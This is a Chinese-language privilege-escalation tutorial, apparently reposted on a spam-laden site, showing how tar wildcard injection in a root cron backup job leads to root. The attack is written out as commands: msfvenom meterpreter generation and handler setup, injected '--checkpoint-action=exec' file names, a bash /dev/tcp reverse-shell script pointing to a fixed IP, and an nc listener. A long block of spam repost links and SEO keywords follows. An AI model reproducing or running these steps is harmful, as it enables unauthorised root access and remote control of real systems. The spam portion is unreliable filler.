当前位置： 首页 > news >正文 开封网站建设流程与步骤食品包装设计要求规范 news 2025/10/25 21:49:16 开封网站建设流程与步骤,食品包装设计要求规范,网站404做多大,电子商务营销模式有哪些系列文章 操作系统权限提升(十八)之Linux提权-内核提权 操作系统权限提升(十九)之Linux提权-SUID提权 操作系统权限提升(二十)之Linux提权-计划任务提权 操作系统权限提升(二十一)之Linux提权-环境变量劫持提权 操作系统权限提升(二十二)之Linux提权-SUDO滥用提权 利用通配符…系列文章 操作系统权限提升(十八)之Linux提权-内核提权 操作系统权限提升(十九)之Linux提权-SUID提权 操作系统权限提升(二十)之Linux提权-计划任务提权 操作系统权限提升(二十一)之Linux提权-环境变量劫持提权 操作系统权限提升(二十二)之Linux提权-SUDO滥用提权 利用通配符(WS)进行提权 利用通配符(WS)进行提权原理 接下来介绍一个非常有趣而又古老的技术通配符注入提权 首先先看下什么是通配符 在LINUX中通配符可以被用来模糊匹配而且通配符的输入是由当前用户的shell去进行解析 * 代表任意数量的字符? 字符代表单个字符[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围比如[0-9]我们在当前的目录创建几个文本1.txt,2.txt,3.txt 接下来使用通配符去查看文件 ls ?.txt 可以查到 一个字符后面加.txt的文件 我们在当前目录在创建几个文件a.txt,ab.txt,abc.txt 然后使用?进行匹配可以看到可以匹配单个字符 使用*进行匹配代表任意的多个字符 使用ls [0-9].txt,匹配0-9数字的txt [...] 匹配方括号之中的任意一个字符 接下来看一下什么是Wildcard wildness简称WS 我们先创建3个文件 echo 1 file1 echo 2 file2 echo 3 --help接下来查看文件里面的内容发现文件1和文件2都可以查看但是–help查看不了直接调出了–help的命令这种类型的技巧称为Wildcard wildness。 这时如果我们执行 ls * 那么就会执行 ls --help 如何利用这一点进行提权呢大家和思考一下 如果有的命令的参数中可以去执行linux命令我们进行劫持达到提权的目的我们以tar命令为例子 tar命令是Linux中的压缩命令可以对文件进行压缩 tar -czf html.tgz 1.html #将文件1.html文件压缩成html.tgz也可以使用通配符进行压缩 tar -czf html.tgz *.html #将文件所有html文件压缩成html.tgz在tar中有执行linux命令的参数如下 tar -czf 1.tgz 1.html --checkpoint1 --checkpoint-actionexecwhoami可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了 echo --checkpoint1 echo --checkpoint-actionexecwhoami接着运行 tar -czf html.tgz * 提权准备 一般都有备份网站的习惯那么运维人员或管理员填写了备份文件的计划任务任务如果滥用了通配符就可能导致提权 */1 * * * * root tar -cvf /var/html.tgz /var/www/html/ *提权实战 首先上线MSF msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.41.211 LPORT8888 -f elf mshell.elfuse exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.41.211 set lport 8888 run查看计划任务发现有滥用通配符的并且是root权限可以进行提权 cat /etc/crontab在/var/www/html下创建两个文件如下 echo /var/www/html/--checkpoint1 echo /var/www/html/--checkpoint-actionexecbash shell.sh echo bash -i /dev/tcp/192.168.41.211/8888 01 /var/www/html/shell.sh使用NC进行监听等待sh脚本被执行连接NC nc -lvvp 8888 文章转载自： http://www.morning.rnxs.cn.gov.cn.rnxs.cn http://www.morning.wmlby.cn.gov.cn.wmlby.cn http://www.morning.cjsnj.cn.gov.cn.cjsnj.cn http://www.morning.bjjrtcsl.com.gov.cn.bjjrtcsl.com http://www.morning.qzpqp.cn.gov.cn.qzpqp.cn http://www.morning.bxhch.cn.gov.cn.bxhch.cn http://www.morning.gwmny.cn.gov.cn.gwmny.cn http://www.morning.rfwkn.cn.gov.cn.rfwkn.cn http://www.morning.fygbq.cn.gov.cn.fygbq.cn http://www.morning.iiunion.com.gov.cn.iiunion.com http://www.morning.bztzm.cn.gov.cn.bztzm.cn http://www.morning.qyhcg.cn.gov.cn.qyhcg.cn http://www.morning.zlcsz.cn.gov.cn.zlcsz.cn http://www.morning.bpmtq.cn.gov.cn.bpmtq.cn http://www.morning.lhxkl.cn.gov.cn.lhxkl.cn http://www.morning.pwdmz.cn.gov.cn.pwdmz.cn http://www.morning.xbkcr.cn.gov.cn.xbkcr.cn http://www.morning.hrzymy.com.gov.cn.hrzymy.com http://www.morning.zlxkp.cn.gov.cn.zlxkp.cn http://www.morning.qxbsq.cn.gov.cn.qxbsq.cn http://www.morning.cflxx.cn.gov.cn.cflxx.cn http://www.morning.qxlgt.cn.gov.cn.qxlgt.cn http://www.morning.mmzhuti.com.gov.cn.mmzhuti.com http://www.morning.dzqr.cn.gov.cn.dzqr.cn http://www.morning.mpngp.cn.gov.cn.mpngp.cn http://www.morning.tlrxt.cn.gov.cn.tlrxt.cn http://www.morning.snrhg.cn.gov.cn.snrhg.cn http://www.morning.txmkx.cn.gov.cn.txmkx.cn http://www.morning.rngyq.cn.gov.cn.rngyq.cn http://www.morning.pbbzn.cn.gov.cn.pbbzn.cn http://www.morning.rqjl.cn.gov.cn.rqjl.cn http://www.morning.banzou2034.cn.gov.cn.banzou2034.cn http://www.morning.flmxl.cn.gov.cn.flmxl.cn http://www.morning.haolipu.com.gov.cn.haolipu.com http://www.morning.mtymb.cn.gov.cn.mtymb.cn http://www.morning.wjhqd.cn.gov.cn.wjhqd.cn http://www.morning.lywpd.cn.gov.cn.lywpd.cn http://www.morning.bwqr.cn.gov.cn.bwqr.cn http://www.morning.wrtpk.cn.gov.cn.wrtpk.cn http://www.morning.cplym.cn.gov.cn.cplym.cn http://www.morning.yjtnc.cn.gov.cn.yjtnc.cn http://www.morning.yrpd.cn.gov.cn.yrpd.cn http://www.morning.nwclg.cn.gov.cn.nwclg.cn http://www.morning.mtsgx.cn.gov.cn.mtsgx.cn http://www.morning.bpwfr.cn.gov.cn.bpwfr.cn http://www.morning.dblfl.cn.gov.cn.dblfl.cn http://www.morning.ybmp.cn.gov.cn.ybmp.cn http://www.morning.dfbeer.com.gov.cn.dfbeer.com http://www.morning.lcbnb.cn.gov.cn.lcbnb.cn http://www.morning.pmftz.cn.gov.cn.pmftz.cn http://www.morning.qbwyd.cn.gov.cn.qbwyd.cn http://www.morning.nhbhc.cn.gov.cn.nhbhc.cn http://www.morning.dwmmf.cn.gov.cn.dwmmf.cn http://www.morning.nwljj.cn.gov.cn.nwljj.cn http://www.morning.ktfbl.cn.gov.cn.ktfbl.cn http://www.morning.xbdrc.cn.gov.cn.xbdrc.cn http://www.morning.skcmt.cn.gov.cn.skcmt.cn http://www.morning.yjmlg.cn.gov.cn.yjmlg.cn http://www.morning.bfcxf.cn.gov.cn.bfcxf.cn http://www.morning.hqlnp.cn.gov.cn.hqlnp.cn http://www.morning.fxzgw.com.gov.cn.fxzgw.com http://www.morning.hhfqk.cn.gov.cn.hhfqk.cn http://www.morning.zkqwk.cn.gov.cn.zkqwk.cn http://www.morning.kflbf.cn.gov.cn.kflbf.cn http://www.morning.rtbhz.cn.gov.cn.rtbhz.cn http://www.morning.lxhgj.cn.gov.cn.lxhgj.cn http://www.morning.zgqysw.cn.gov.cn.zgqysw.cn http://www.morning.pqypt.cn.gov.cn.pqypt.cn http://www.morning.xq3nk42mvv.cn.gov.cn.xq3nk42mvv.cn http://www.morning.lqklf.cn.gov.cn.lqklf.cn http://www.morning.jzbjx.cn.gov.cn.jzbjx.cn http://www.morning.lbrrn.cn.gov.cn.lbrrn.cn http://www.morning.xkjqg.cn.gov.cn.xkjqg.cn http://www.morning.ljcf.cn.gov.cn.ljcf.cn http://www.morning.xqbgm.cn.gov.cn.xqbgm.cn http://www.morning.hqzmz.cn.gov.cn.hqzmz.cn http://www.morning.tkrpt.cn.gov.cn.tkrpt.cn http://www.morning.dpfr.cn.gov.cn.dpfr.cn http://www.morning.xysdy.cn.gov.cn.xysdy.cn http://www.morning.qwzpd.cn.gov.cn.qwzpd.cn 查看全文 http://www.tj-hxxt.cn/news/249261.html 相关文章： 免费的自建视频网站宜昌 房地产网站建设 杭州高端网站建设公司那些网站可以上传自己做的视频 陇西网站建设公司网站设计一般包括哪几个部分 什么网站做热能表好mc做弊端网站 德州宁津网站建设公司注册一站式平台 怎样做网站分析网络营销网站源码 开发新闻类网站邯郸专业网络营销 app推广平台接单渠道网站关键词优化案例 做宣传网站温州营销网站公司哪家好 福建省住房和城乡建设厅网站做漫画网站 漫画哪找 php怎么做直播网站吗永久免费手机建站 做膜的网站有哪些呼市做网站建设的公司哪家好 做网站思想学ui设计一般多少钱 手机网站封装小程序公司网站搭建流程 ftp怎么找网站后台wordpress制作模板教程 免费电视剧大全网站全面的移动网站建设 做网站主要学什么云南省人防工程建设网站 网站运营有哪些岗位如何建设和优化一个网站 哪个公司做网站系统开发服务 烟台建站服务一台网站服务器多少钱 优化关键词排名工具黄山seo公司 weex做网站葫岛百度seo 聚美优品网站建设的目标赤壁市建设局网站 青岛通力建设集团网站西宁手机网站微站建设 南昌网站建设品牌wordpress 最简单模板 百度网站怎么制作为什么企业需要建设网站? 关于做美食的网站移动端开发需要学什么 能上国外网站的免费dns曲靖网站建设dodoco 自己做网站能宣传自己的产品吗上海房地产网站建设 打开一个不良网站提示创建成功做网站框架需要什么软件
